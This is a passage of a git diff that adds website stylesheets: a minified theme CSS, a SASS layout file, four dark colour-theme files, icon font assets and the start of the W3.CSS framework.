0;background-repeat:no-repeat}.border-primary{border-color:#ababab!important}.overlay{position:relative}.overlay::before{position:absolute;content:'';height:100%;width:100%;top:0;left:0;background:#000;opacity:.5}.outline-0{outline:0!important}.d-unset{display:unset!important}.bg-primary{background:#ff6f00!important}.bg-secondary{background:#fdefe6!important}.text-primary{color:#ff6f00!important}.text-color{color:#585757}.text-dark{color:#000!important}.font-secondary{font-family:hanskendrick!important}.mb-10{margin-bottom:10px!important}.mb-20{margin-bottom:20px!important}.mb-30{margin-bottom:30px!important}.mb-40{margin-bottom:40px!important}.mb-50{margin-bottom:50px!important}.mb-60{margin-bottom:60px!important}.mb-70{margin-bottom:70px!important}.mb-80{margin-bottom:80px!important}.mb-90{margin-bottom:90px!important}.mb-100{margin-bottom:100px!important}.zindex-1{z-index:1}.overflow-hidden{overflow:hidden}.form-control{border:0;border-bottom:1px solid #ababab;border-radius:0}.form-control:focus{outline:0;box-shadow:none;border-color:#ff6f00}textarea.form-control{height:150px}.navigation{z-index:9}.headroom{position:-webkit-sticky;position:sticky;top:0;left:0;right:0;transition:all .4s ease-in-out;padding:10px 40px;background-color:#fff}@media(max-width:575px){.headroom{padding:10px}}.headroom--unpinned{top:-150px}@media(max-width:991px){.headroom--unpinned{top:0}}.headroom--pinned{top:0}.navbar .nav-item .nav-link{padding:20px 15px}@media(max-width:991px){.navbar .nav-item .nav-link{padding:10px}}.navbar .dropdown:hover .dropdown-menu{visibility:visible;opacity:1;-webkit-transform:translateY(0);transform:translateY(0)}.navbar .dropdown-menu{box-shadow:0 3px 9px 0 rgba(0,0,0,.12);padding:10px;border:0;top:100%;left:-10px;border-radius:0;display:block;visibility:hidden;transition:.3s ease;opacity:0;-webkit-transform:translateY(-20px);transform:translateY(-20px);background:#fff}@media(max-width:991px){.navbar .dropdown-menu{display:none;opacity:1;visibility:visible;-webkit-transform:translateY(0);transform:translateY(0);text-align:center}}.navbar .dropdown-menu.show{visibility:hidden}@media(max-width:991px){.navbar .dropdown-menu.show{visibility:visible;display:block}}.navbar .dropdown-item:active{color:#fff;background-color:#ff6f00}.search-icon{border:0;background:transparent;position:absolute;right:0;top:50%;-webkit-transform:translateY(-50%);transform:translateY(-50%)}.card-img-overlay::before{position:absolute;content:"";background:linear-gradient(transparent 40%,rgba(0,0,0,0.5));height:100%;width:100%;top:0;left:0}.card-content{padding:30px;position:absolute;left:0;right:0;bottom:30px}.title-border{position:relative;margin-bottom:25px;padding-bottom:30px}.title-border::before{position:absolute;content:"";height:2px;width:100px;left:50%;-webkit-transform:translateX(-50%);transform:translateX(-50%);bottom:0;background:#ababab}.title-border-lg{position:relative}.title-border-lg::before{position:absolute;content:"";height:2px;width:300px;left:-45px;bottom:-50px;background:#ababab}@media(max-width:575px){.pagination{overflow:auto;white-space:nowrap}.pagination::-webkit-scrollbar{width:0;background:transparent}}.pagination .page-item .page-link{font-family:hanskendrick;font-size:30px;border:0;color:#585757}@media(max-width:767px){.pagination .page-item .page-link{font-size:16px}}.pagination .page-item .page-link:hover{color:#000;background-color:transparent}.pagination .page-item:first-child .page-link,.pagination .page-item:last-child .page-link{font-size:16px}.pagination .page-item.active .page-link{color:#000;text-decoration:underline;background:transparent}.instagram-post{position:relative}.instagram-post::before{position:absolute;content:"";left:0;top:0;height:100%;width:100%;background:rgba(0,0,0,.5);opacity:0;visibility:hidden;transition:.2s ease}.instagram-post ul{position:absolute;left:0;right:0;top:50%;-webkit-transform:translateY(-50%);transform:translateY(-50%);opacity:0;visibility:hidden;transition:.2s ease}.instagram-post ul a{transition:.2s ease;font-size:20px}.instagram-post ul a:hover{color:#ff6f00!important}.instagram-post:hover::before{visibility:visible;opacity:1}.instagram-post:hover ul{visibility:visible;opacity:1}.hero-section{padding:70px 0 0;background-image:linear-gradient(#fff 45%,#fdefe6 0)}.dividers{display:flex;align-items:center;width:1200px;position:fixed;top:0;left:50%;-webkit-transform:translateX(-50%);transform:translateX(-50%)}.dividers .divider{border-right:1px solid #edeef0;flex-basis:50%;height:100vh;opacity:.6}.dividers .divider:first-child{border-left:1px solid #edeef0}.article-full-width{display:flex;flex-wrap:nowrap}@media(max-width:767px){.article-full-width{flex-direction:column}}.article-full-width .post-image{margin-right:20px}@media(max-width:767px){.article-full-width .post-image{margin:0 0 20px}}.article-full-width .post-image img{height:400px;width:auto}@media(max-width:767px){.article-full-width .post-image img{height:auto;width:100%}}.article-full-width .post-content{width:50%}@media(max-width:767px){.article-full-width .post-content{width:100%}}.article-full-width .post-content .btn{padding-left:0}.article-full-width .post-meta{width:250px}@media(max-width:991px){.article-full-width .post-summary{display:none}}@media(max-width:767px){.article-full-width .post-summary{display:block}}.article-full-width.article-right{justify-content:flex-end}@media(max-width:767px){.article-full-width.article-right{flex-direction:column-reverse}}.article-full-width.article-right .post-image{order:2;margin:0 0 0 20px}@media(max-width:767px){.article-full-width.article-right .post-image{margin:0 0 20px}}.article-full-width.article-right .post-content{order:1}.article-full-width.article-right .post-meta{margin-left:auto}@media(max-width:767px){.article-full-width.article-right .post-meta{margin-left:0}}.article-full-width.article-right .author{text-align:right}@media(max-width:767px){.article-full-width.article-right .author{text-align:left}}.post-thumb{height:400px}blockquote{font-style:italic;color:#000;background:#fdefe6;padding:20px;font-weight:600}.content *{margin-bottom:20px}.content img{max-width:100%;height:auto}.widget{padding:15px 0}.widget:not(:last-child){margin-bottom:30px;border-bottom:1px solid #f4f4f4}.search-box{position:relative}.search-box i{position:absolute;left:0;top:25px;color:#767575}.post-thumb-sm{max-width:75px;max-height:75px;overflow:hidden}.tag-list li a{display:block;background:#f4f4f4;padding:2px 5px;color:#000}.tag-list li a:hover{color:#ff6f00} \ No newline at end of file diff --git a/public/css/style.scss b/public/css/style.scss new file mode 100644 index 00000000..461b1775 --- /dev/null +++ b/public/css/style.scss @@ -0,0 +1,205 @@ +html { + font-size: 16px; +} + +// light bg color +$frail: #f5f6f7; +$frail-d: darken($frail, 3%); +$frail-dd: darken($frail-d,10%); +$frail-ddd: darken($frail-dd,10%); + +// dark front color +$sturdy: #2D4059; +$sturdy-l: lighten($sturdy, 5%); +$sturdy-ll: lighten($sturdy-l, 10%); + +@import "bootstrap"; + +/* Layout +-------------------------------------------------- */ +// Narrow page +.container { + margin-left: auto; + margin-right: auto; + padding-left: 1rem; + padding-right: 1rem; +} +@media (min-width: 52rem) { + .container { + max-width: 52rem; + } +} +@media (max-width: 51rem) { + .container { + padding-left: 0.5rem; + padding-right: 0.5rem; + } +} + +/* General +-------------------------------------------------- */ +.text-muted { + color: #636c72; + a { + color: lighten($link-color, 30%); + } +} +pre { + padding: 0.5rem 0 0.5rem 1rem; + background-color: $code-bg; + @include border-radius(0.25rem); +} + +/* Header +-------------------------------------------------- */ +$site-title-color: $sturdy; +.site-header { + padding-top: 3rem; + padding-bottom: 1rem; + text-align: center; + .site-title { + font-size: 4rem; + a { + text-decoration: none; + color: $site-title-color; + } + } + .blog-description { + font-size: 1.5rem; + color: $gray-light; + } +} +// Nav +.main-nav { + margin-bottom: 1rem; + text-align: center; +} +.main-menu { + padding-left: 0; + list-style: none; + //font-size: 1.25rem; + line-height: 2.5rem; + border-top: 1px solid $frail-dd; + border-bottom: 1px solid $frail-dd; + li { + display: inline-block; + padding-left: 0.5rem; + padding-right: 0.5rem; + } + a { + color: $sturdy-l; + } +} +@media (max-width: 52rem) { + .site-header { + padding-top: 1rem; + padding-bottom: 0.5rem; + .site-title { + font-size: 3rem; + } + .blog-description { + font-size: 1rem; + } + } + .main-menu { + //font-size: 1.25rem; + line-height: 2rem; + } +} + +/* Post +-------------------------------------------------- */ +.post { + padding-top: 2rem; +} +.post-meta p { + font-size: 0.9rem; + padding: 0.25rem 0.5rem; + margin-bottom: 0.5rem; + text-align: right; + color: $gray-light; + background-color: $frail; + a { + color: $sturdy-l; + } +} + +/* Home +-------------------------------------------------- */ +.posts > .summary { + border-bottom: 4px solid $frail-d; + padding-top: 2rem; + padding-bottom: 1rem; +} +div.read-more-link { + text-align: right; +} + +/* Post list +-------------------------------------------------- */ +.post-list { + line-height: 2rem; + .post-title { + font-size: 1.25rem; + } +} + +/* Pager +-------------------------------------------------- */ +.pager { + padding-left:0; + margin: 2rem 0; + list-style:none; + text-align:center; + color: $gray-light; + li { + display:inline; + } + li > a, + li > span { + display:inline-block; + padding:5px 14px; + } + li > a { + background-color: $frail; + border:1px solid $frail-dd; + border-radius:15px; + } + li > a:hover, + li > a:focus { + text-decoration:none; + background-color:#eeeeee; + } + .next > a, + .next > span { + float:right; + } + .previous > a, + .previous > span { + float:left; + } +} + +@media (max-width: 32rem) { + .pager { + li > span, + .next > a, + .next > span, + .previous > a, + .previous > span { + display: block; + float: none; + } + } +} + +/* Footer +-------------------------------------------------- */ +.site-footer { + background-color: $frail-d; + border-top: 1px solid $frail-dd; + margin-top: 1rem; +} +.site-footer > .container { + padding: 2rem 1rem 1rem; +} diff --git a/public/css/themes/dark-blue.css b/public/css/themes/dark-blue.css new file mode 100644 index 00000000..ff8d29b2 --- /dev/null +++ b/public/css/themes/dark-blue.css @@ -0,0 +1,28 @@ +a { + color: #77baff; +} + +blockquote { + border-color: #77baff; +} + +mark { + background-color: #77baff; +} + +.logo:hover { + color: #77baff; +} + +.main-nav__btn { + fill: #77baff; +} + +.toc { + color: #77baff; +} + +.share__icon { + fill: #77baff; + stroke: #77baff; +} diff --git a/public/css/themes/dark-green.css b/public/css/themes/dark-green.css new file mode 100644 index 00000000..0f7483f0 --- /dev/null +++ b/public/css/themes/dark-green.css @@ -0,0 +1,28 @@ +a { + color: #9ccc6c; +} + +blockquote { + border-color: #9ccc6c; +} + +mark { + background-color: #9ccc6c; +} + +.logo:hover { + color: #9ccc6c; +} + +.main-nav__btn { + fill: #9ccc6c; +} + +.toc { + color: #9ccc6c; +} + +.share__icon { + fill: #9ccc6c; + stroke: #9ccc6c; +} diff --git a/public/css/themes/dark-red.css b/public/css/themes/dark-red.css new file mode 100644 index 00000000..19bede29 --- /dev/null +++ b/public/css/themes/dark-red.css @@ -0,0 +1,28 @@ +a { + color: #ff5562; +} + +blockquote { + border-color: #ff5562; +} + +mark { + background-color: #ff5562; +} + +.logo:hover { + color: #ff5562; +} + +.main-nav__btn { + fill: #ff5562; +} + +.toc { + color: #ff5562; +} + +.share__icon { + fill: #ff5562; + stroke: #ff5562; +} diff --git a/public/css/themes/dark-violet.css b/public/css/themes/dark-violet.css new file mode 100644 index 00000000..42bdcb79 --- /dev/null +++ b/public/css/themes/dark-violet.css @@ -0,0 +1,28 @@ +a { + color: #bc7de8; +} + +blockquote { + border-color: #bc7de8; +} + +mark { + background-color: #bc7de8; +} + +.logo:hover { + color: #bc7de8; +} + +.main-nav__btn { + fill: #bc7de8; +} + +.toc { + color: #bc7de8; +} + +.share__icon { + fill: #bc7de8; + stroke: #bc7de8; +} diff --git a/public/css/themes/default/assets/fonts/brand-icons.eot b/public/css/themes/default/assets/fonts/brand-icons.eot new file mode 100755 index 00000000..0a1ef3f7 Binary files /dev/null and b/public/css/themes/default/assets/fonts/brand-icons.eot differ diff --git a/public/css/themes/default/assets/fonts/brand-icons.svg b/public/css/themes/default/assets/fonts/brand-icons.svg new file mode 100755 index 00000000..4c237533 --- /dev/null +++ b/public/css/themes/default/assets/fonts/brand-icons.svg @@ -0,0 +1,1008 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/public/css/themes/default/assets/fonts/brand-icons.ttf b/public/css/themes/default/assets/fonts/brand-icons.ttf new file mode 100755 index 00000000..f9908513 Binary files /dev/null and b/public/css/themes/default/assets/fonts/brand-icons.ttf differ diff --git a/public/css/themes/default/assets/fonts/brand-icons.woff b/public/css/themes/default/assets/fonts/brand-icons.woff new file mode 100755 index 00000000..2e874012 Binary files /dev/null and b/public/css/themes/default/assets/fonts/brand-icons.woff differ diff --git a/public/css/themes/default/assets/fonts/brand-icons.woff2 b/public/css/themes/default/assets/fonts/brand-icons.woff2 new file mode 100755 index 00000000..0d575fd5 Binary files /dev/null and b/public/css/themes/default/assets/fonts/brand-icons.woff2 differ diff --git a/public/css/themes/default/assets/fonts/icons.eot b/public/css/themes/default/assets/fonts/icons.eot new file mode 100755 index 00000000..ef75106b Binary files /dev/null and b/public/css/themes/default/assets/fonts/icons.eot differ diff --git a/public/css/themes/default/assets/fonts/icons.otf b/public/css/themes/default/assets/fonts/icons.otf new file mode 100755 index 00000000..f7936cc1 Binary files /dev/null and b/public/css/themes/default/assets/fonts/icons.otf differ diff --git a/public/css/themes/default/assets/fonts/icons.svg b/public/css/themes/default/assets/fonts/icons.svg new file mode 100755 index 00000000..0ae8e329 --- /dev/null +++ b/public/css/themes/default/assets/fonts/icons.svg @@ -0,0 +1,1518 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/public/css/themes/default/assets/fonts/icons.ttf b/public/css/themes/default/assets/fonts/icons.ttf new file mode 100755 index 00000000..17bb6747 Binary files /dev/null and b/public/css/themes/default/assets/fonts/icons.ttf differ diff --git a/public/css/themes/default/assets/fonts/icons.woff b/public/css/themes/default/assets/fonts/icons.woff new file mode 100755 index 00000000..4cf2a4fe Binary files /dev/null and b/public/css/themes/default/assets/fonts/icons.woff differ diff --git a/public/css/themes/default/assets/fonts/icons.woff2 b/public/css/themes/default/assets/fonts/icons.woff2 new file mode 100755 index 00000000..eea9aa22 Binary files /dev/null and b/public/css/themes/default/assets/fonts/icons.woff2 differ diff --git a/public/css/themes/default/assets/fonts/outline-icons.eot b/public/css/themes/default/assets/fonts/outline-icons.eot new file mode 100755 index 00000000..cda0a84c Binary files /dev/null and b/public/css/themes/default/assets/fonts/outline-icons.eot differ diff --git a/public/css/themes/default/assets/fonts/outline-icons.svg b/public/css/themes/default/assets/fonts/outline-icons.svg new file mode 100755 index 00000000..2875252e --- /dev/null +++ b/public/css/themes/default/assets/fonts/outline-icons.svg @@ -0,0 +1,366 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/public/css/themes/default/assets/fonts/outline-icons.ttf b/public/css/themes/default/assets/fonts/outline-icons.ttf new file mode 100755 index 00000000..ee13f848 Binary files /dev/null and b/public/css/themes/default/assets/fonts/outline-icons.ttf differ diff --git a/public/css/themes/default/assets/fonts/outline-icons.woff b/public/css/themes/default/assets/fonts/outline-icons.woff new file mode 100755 index 00000000..bcd83435 Binary files /dev/null and b/public/css/themes/default/assets/fonts/outline-icons.woff differ diff --git a/public/css/themes/default/assets/fonts/outline-icons.woff2 b/public/css/themes/default/assets/fonts/outline-icons.woff2 new file mode 100755 index 00000000..35cc7b3b Binary files /dev/null and b/public/css/themes/default/assets/fonts/outline-icons.woff2 differ diff --git a/public/css/themes/default/assets/images/flags.png b/public/css/themes/default/assets/images/flags.png new file mode 100755 index 00000000..cdd33c3b Binary files /dev/null and b/public/css/themes/default/assets/images/flags.png differ diff --git a/public/css/w3.css b/public/css/w3.css new file mode 100644 index 00000000..371a3701 --- /dev/null +++ b/public/css/w3.css @@ -0,0 +1,233 @@ +/* W3.CSS 4.12 Novemberr 2018 by Jan Egil and Borge Refsnes */ +html{box-sizing:border-box}*,*:before,*:after{box-sizing:inherit} +/* Extract from normalize.css by Nicolas Gallagher and Jonathan Neal git.io/normalize */ +html{-ms-text-size-adjust:100%;-webkit-text-size-adjust:100%}body{margin:0} +article,aside,details,figcaption,figure,footer,header,main,menu,nav,section,summary{display:block} +audio,canvas,progress,video{display:inline-block}progress{vertical-align:baseline} +audio:not([controls]){display:none;height:0}[hidden],template{display:none} +a{background-color:transparent;-webkit-text-decoration-skip:objects} +a:active,a:hover{outline-width:0}abbr[title]{border-bottom:none;text-decoration:underline;text-decoration:underline dotted} +dfn{font-style:italic}mark{background:#ff0;color:#000} +small{font-size:80%}sub,sup{font-size:75%;line-height:0;position:relative;vertical-align:baseline} +sub{bottom:-0.25em}sup{top:-0.5em}figure{margin:1em 40px}img{border-style:none}svg:not(:root){overflow:hidden} +code,kbd,pre,samp{font-family:monospace,monospace;font-size:1em}hr{box-sizing:content-box;height:0;overflow:visible} +button,input,select,textarea{font:inherit;margin:0}optgroup{font-weight:bold} +button,input{overflow:visible}button,select{text-transform:none} +button,html [type=button],[type=reset],[type=submit]{-webkit-appearance:button} +button::-moz-focus-inner, [type=button]::-moz-focus-inner, [type=reset]::-moz-focus-inner, [type=submit]::-moz-focus-inner{border-style:none;padding:0} +button:-moz-focusring, [type=button]:-moz-focusring, [type=reset]:-moz-focusring, [type=submit]:-moz-focusring{outline:1px dotted ButtonText} +fieldset{border:1px solid #c0c0c0;margin:0 2px;padding:.35em .625em .75em} +legend{color:inherit;display:table;max-width:100%;padding:0;white-space:normal}textarea{overflow:auto} +[type=checkbox],[type=radio]{padding:0} +[type=number]::-webkit-inner-spin-button,[type=number]::-webkit-outer-spin-button{height:auto} +[type=search]{-webkit-appearance:textfield;outline-offset:-2px} +[type=search]::-webkit-search-cancel-button,[type=search]::-webkit-search-decoration{-webkit-appearance:none} +::-webkit-input-placeholder{color:inherit;opacity:0.54} +::-webkit-file-upload-button{-webkit-appearance:button;font:inherit} +/* End extract */ +html,body{font-family:Verdana,sans-serif;font-size:15px;line-height:1.5}html{overflow-x:hidden} +h1{font-size:36px}h2{font-size:30px}h3{font-size:24px}h4{font-size:20px}h5{font-size:18px}h6{font-size:16px}.w3-serif{font-family:serif} +h1,h2,h3,h4,h5,h6{font-family:"Segoe UI",Arial,sans-serif;font-weight:400;margin:10px 0}.w3-wide{letter-spacing:4px} +hr{border:0;border-top:1px solid #eee;margin:20px 0} +.w3-image{max-width:100%;height:auto}img{vertical-align:middle}a{color:inherit} +.w3-table,.w3-table-all{border-collapse:collapse;border-spacing:0;width:100%;display:table}.w3-table-all{border:1px solid #ccc} +.w3-bordered tr,.w3-table-all tr{border-bottom:1px solid #ddd}.w3-striped tbody tr:nth-child(even){background-color:#f1f1f1} +.w3-table-all tr:nth-child(odd){background-color:#fff}.w3-table-all tr:nth-child(even){background-color:#f1f1f1} +.w3-hoverable tbody tr:hover,.w3-ul.w3-hoverable li:hover{background-color:#ccc}.w3-centered tr th,.w3-centered tr td{text-align:center} +.w3-table td,.w3-table th,.w3-table-all td,.w3-table-all th{padding:8px 8px;display:table-cell;text-align:left;vertical-align:top} +.w3-table th:first-child,.w3-table td:first-child,.w3-table-all th:first-child,.w3-table-all td:first-child{padding-left:16px} +.w3-btn,.w3-button{border:none;display:inline-block;padding:8px 16px;vertical-align:middle;overflow:hidden;text-decoration:none;color:inherit;background-color:inherit;text-align:center;cursor:pointer;white-space:nowrap} +.w3-btn:hover{box-shadow:0 8px 16px 0 rgba(0,0,0,0.2),0 6px 20px 0 rgba(0,0,0,0.19)} +.w3-btn,.w3-button{-webkit-touch-callout:none;-webkit-user-select:none;-khtml-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none} +.w3-disabled,.w3-btn:disabled,.w3-button:disabled{cursor:not-allowed;opacity:0.3}.w3-disabled *,:disabled *{pointer-events:none} +.w3-btn.w3-disabled:hover,.w3-btn:disabled:hover{box-shadow:none} +.w3-badge,.w3-tag{background-color:#000;color:#fff;display:inline-block;padding-left:8px;padding-right:8px;text-align:center}.w3-badge{border-radius:50%} +.w3-ul{list-style-type:none;padding:0;margin:0}.w3-ul li{padding:8px 16px;border-bottom:1px solid #ddd}.w3-ul li:last-child{border-bottom:none} +.w3-tooltip,.w3-display-container{position:relative}.w3-tooltip .w3-text{display:none}.w3-tooltip:hover .w3-text{display:inline-block} +.w3-ripple:active{opacity:0.5}.w3-ripple{transition:opacity 0s} +.w3-input{padding:8px;display:block;border:none;border-bottom:1px solid #ccc;width:100%} +.w3-select{padding:9px 0;width:100%;border:none;border-bottom:1px solid #ccc} +.w3-dropdown-click,.w3-dropdown-hover{position:relative;display:inline-block;cursor:pointer} +.w3-dropdown-hover:hover .w3-dropdown-content{display:block} +.w3-dropdown-hover:first-child,.w3-dropdown-click:hover{background-color:#ccc;color:#000} +.w3-dropdown-hover:hover > .w3-button:first-child,.w3-dropdown-click:hover > .w3-button:first-child{background-color:#ccc;color:#000} +.w3-dropdown-content{cursor:auto;color:#000;background-color:#fff;display:none;position:absolute;min-width:160px;margin:0;padding:0;z-index:1} +.w3-check,.w3-radio{width:24px;height:24px;position:relative;top:6px} +.w3-sidebar{height:100%;width:200px;background-color:#fff;position:fixed!important;z-index:1;overflow:auto} +.w3-bar-block .w3-dropdown-hover,.w3-bar-block .w3-dropdown-click{width:100%} +.w3-bar-block .w3-dropdown-hover .w3-dropdown-content,.w3-bar-block .w3-dropdown-click .w3-dropdown-content{min-width:100%} +.w3-bar-block .w3-dropdown-hover .w3-button,.w3-bar-block .w3-dropdown-click .w3-button{width:100%;text-align:left;padding:8px 16px} +.w3-main,#main{transition:margin-left .4s} +.w3-modal{z-index:3;display:none;padding-top:100px;position:fixed;left:0;top:0;width:100%;height:100%;overflow:auto;background-color:rgb(0,0,0);background-color:rgba(0,0,0,0.4)} +.w3-modal-content{margin:auto;background-color:#fff;position:relative;padding:0;outline:0;width:600px} +.w3-bar{width:100%;overflow:hidden}.w3-center .w3-bar{display:inline-block;width:auto} +.w3-bar .w3-bar-item{padding:8px 16px;float:left;width:auto;border:none;display:block;outline:0} +.w3-bar .w3-dropdown-hover,.w3-bar .w3-dropdown-click{position:static;float:left} +.w3-bar .w3-button{white-space:normal} +.w3-bar-block .w3-bar-item{width:100%;display:block;padding:8px 16px;text-align:left;border:none;white-space:normal;float:none;outline:0} +.w3-bar-block.w3-center .w3-bar-item{text-align:center}.w3-block{display:block;width:100%} +.w3-responsive{display:block;overflow-x:auto} +.w3-container:after,.w3-container:before,.w3-panel:after,.w3-panel:before,.w3-row:after,.w3-row:before,.w3-row-padding:after,.w3-row-padding:before, +.w3-cell-row:before,.w3-cell-row:after,.w3-clear:after,.w3-clear:before,.w3-bar:before,.w3-bar:after{content:"";display:table;clear:both} +.w3-col,.w3-half,.w3-third,.w3-twothird,.w3-threequarter,.w3-quarter{float:left;width:100%} +.w3-col.s1{width:8.33333%}.w3-col.s2{width:16.66666%}.w3-col.s3{width:24.99999%}.w3-col.s4{width:33.33333%} +.w3-col.s5{width:41.66666%}.w3-col.s6{width:49.99999%}.w3-col.s7{width:58.33333%}.w3-col.s8{width:66.66666%} +.w3-col.s9{width:74.99999%}.w3-col.s10{width:83.33333%}.w3-col.s11{width:91.66666%}.w3-col.s12{width:99.99999%} +@media (min-width:601px){.w3-col.m1{width:8.33333%}.w3-col.m2{width:16.66666%}.w3-col.m3,.w3-quarter{width:24.99999%}.w3-col.m4,.w3-third{width:33.33333%} +.w3-col.m5{width:41.66666%}.w3-col.m6,.w3-half{width:49.99999%}.w3-col.m7{width:58.33333%}.w3-col.m8,.w3-twothird{width:66.66666%} +.w3-col.m9,.w3-threequarter{width:74.99999%}.w3-col.m10{width:83.33333%}.w3-col.m11{width:91.66666%}.w3-col.m12{width:99.99999%}} +@media (min-width:993px){.w3-col.l1{width:8.33333%}.w3-col.l2{width:16.66666%}.w3-col.l3{width:24.99999%}.w3-col.l4{width:33.33333%} +.w3-col.l5{width:41.66666%}.w3-col.l6{width:49.99999%}.w3-col.l7{width:58.33333%}.w3-col.l8{width:66.66666%} +.w3-col.l9{width:74.99999%}.w3-col.l10{width:83.33333%}.w3-col.l11{width:91.66666%}.w3-col.l12{width:99.99999%}} +.w3-rest{overflow:hidden}.w3-stretch{margin-left:-16px;margin-right:-16px} +.w3-content,.w3-auto{margin-left:auto;margin-right:auto}.w3-content{max-width:980px}.w3-auto{max-width:1140px} +.w3-cell-row{display:table;width:100%}.w3-cell{display:table-cell} +.w3-cell-top{vertical-align:top}.w3-cell-middle{vertical-align:middle}.w3-cell-bottom{vertical-align:bottom} +.w3-hide{display:none!important}.w3-show-block,.w3-show{display:block!important}.w3-show-inline-block{display:inline-block!important} +@media (max-width:1205px){.w3-auto{max-width:95%}} +@media (max-width:600px){.w3-modal-content{margin:0 10px;width:auto!important}.w3-modal{padding-top:30px} +.w3-dropdown-hover.w3-mobile .w3-dropdown-content,.w3-dropdown-click.w3-mobile .w3-dropdown-content{position:relative} +.w3-hide-small{display:none!important}.w3-mobile{display:block;width:100%!important}.w3-bar-item.w3-mobile,.w3-dropdown-hover.w3-mobile,.w3-dropdown-click.w3-mobile{text-align:center} +.w3-dropdown-hover.w3-mobile,.w3-dropdown-hover.w3-mobile .w3-btn,.w3-dropdown-hover.w3-mobile .w3-button,.w3-dropdown-click.w3-mobile,.w3-dropdown-click.w3-mobile .w3-btn,.w3-dropdown-click.w3-mobile .w3-button{width:100%}} +@media (max-width:768px){.w3-modal-content{width:500px}.w3-modal{padding-top:50px}} +@media (min-width:993px){.w3-modal-content{width:900px}.w3-hide-large{display:none!important}.w3-sidebar.w3-collapse{display:block!important}} +@media (max-width:992px) and (min-width:601px){.w3-hide-medium{display:none!important}} +@media (max-width:992px){.w3-sidebar.w3-collapse{display:none}.w3-main{margin-left:0!important;margin-right:0!important}.w3-auto{max-width:100%}} +.w3-top,.w3-bottom{position:fixed;width:100%;z-index:1}.w3-top{top:0}.w3-bottom{bottom:0} +.w3-overlay{position:fixed;display:none;width:100%;height:100%;top:0;left:0;right:0;bottom:0;background-color:rgba(0,0,0,0.5);z-index:2} +.w3-display-topleft{position:absolute;left:0;top:0}.w3-display-topright{position:absolute;right:0;top:0} +.w3-display-bottomleft{position:absolute;left:0;bottom:0}.w3-display-bottomright{position:absolute;right:0;bottom:0} +.w3-display-middle{position:absolute;top:50%;left:50%;transform:translate(-50%,-50%);-ms-transform:translate(-50%,-50%)} +.w3-display-left{position:absolute;top:50%;left:0%;transform:translate(0%,-50%);-ms-transform:translate(-0%,-50%)} +.w3-display-right{position:absolute;top:50%;right:0%;transform:translate(0%,-50%);-ms-transform:translate(0%,-50%)} +.w3-display-topmiddle{position:absolute;left:50%;top:0;transform:translate(-50%,0%);-ms-transform:translate(-50%,0%)} +.w3-display-bottommiddle{position:absolute;left:50%;bottom:0;transform:translate(-50%,0%);-ms-transform:translate(-50%,0%)} +.w3-display-container:hover .w3-display-hover{display:block}.w3-display-container:hover span.w3-display-hover{display:inline-block}.w3-display-hover{display:none} +.w3-display-position{position:absolute} +.w3-circle{border-radius:50%} +.w3-round-small{border-radius:2px}.w3-round,.w3-round-medium{border-radius:4px}.w3-round-large{border-radius:8px}.w3-round-xlarge{border-radius:16px}.w3-round-xxlarge{border-radius:32px} +.w3-row-padding,.w3-row-padding>.w3-half,.w3-row-padding>.w3-third,.w3-row-padding>.w3-twothird,.w3-row-padding>.w3-threequarter,.w3-row-padding>.w3-quarter,.w3-row-padding>.w3-col{padding:0 8px} +.w3-container,.w3-panel{padding:0.01em 16px}.w3-panel{margin-top:16px;margin-bottom:16px} +.w3-code,.w3-codespan{font-family:Consolas,"courier new";font-size:16px} +.w3-code{width:auto;background-color:#fff;padding:8px 12px;border-left:4px solid #4CAF50;word-wrap:break-word;} +.w3-codespan{color:crimson;background-color:#f1f1f1;padding-left:4px;padding-right:4px;font-size:110%} +.w3-card,.w3-card-2{box-shadow:0 2px 5px 0 rgba(0,0,0,0.16),0 2px 10px 0 rgba(0,0,0,0.12)} +.w3-card-4,.w3-hover-shadow:hover{box-shadow:0 4px 10px 0 rgba(0,0,0,0.2),0 4px 20px 0 rgba(0,0,0,0.19)} +.w3-spin{animation:w3-spin 2s infinite linear}@keyframes w3-spin{0%{transform:rotate(0deg)}100%{transform:rotate(359deg)}} +.w3-animate-fading{animation:fading 10s infinite}@keyframes fading{0%{opacity:0}50%{opacity:1}100%{opacity:0}} +.w3-animate-opacity{animation:opac 0.8s}@keyframes opac{from{opacity:0} to{opacity:1}} +.w3-animate-top{position:relative;animation:animatetop 0.4s}@keyframes animatetop{from{top:-300px;opacity:0} to{top:0;opacity:1}} +.w3-animate-left{position:relative;animation:animateleft 0.4s}@keyframes animateleft{from{left:-300px;opacity:0} to{left:0;opacity:1}} +.w3-animate-right{position:relative;animation:animateright 0.4s}@keyframes 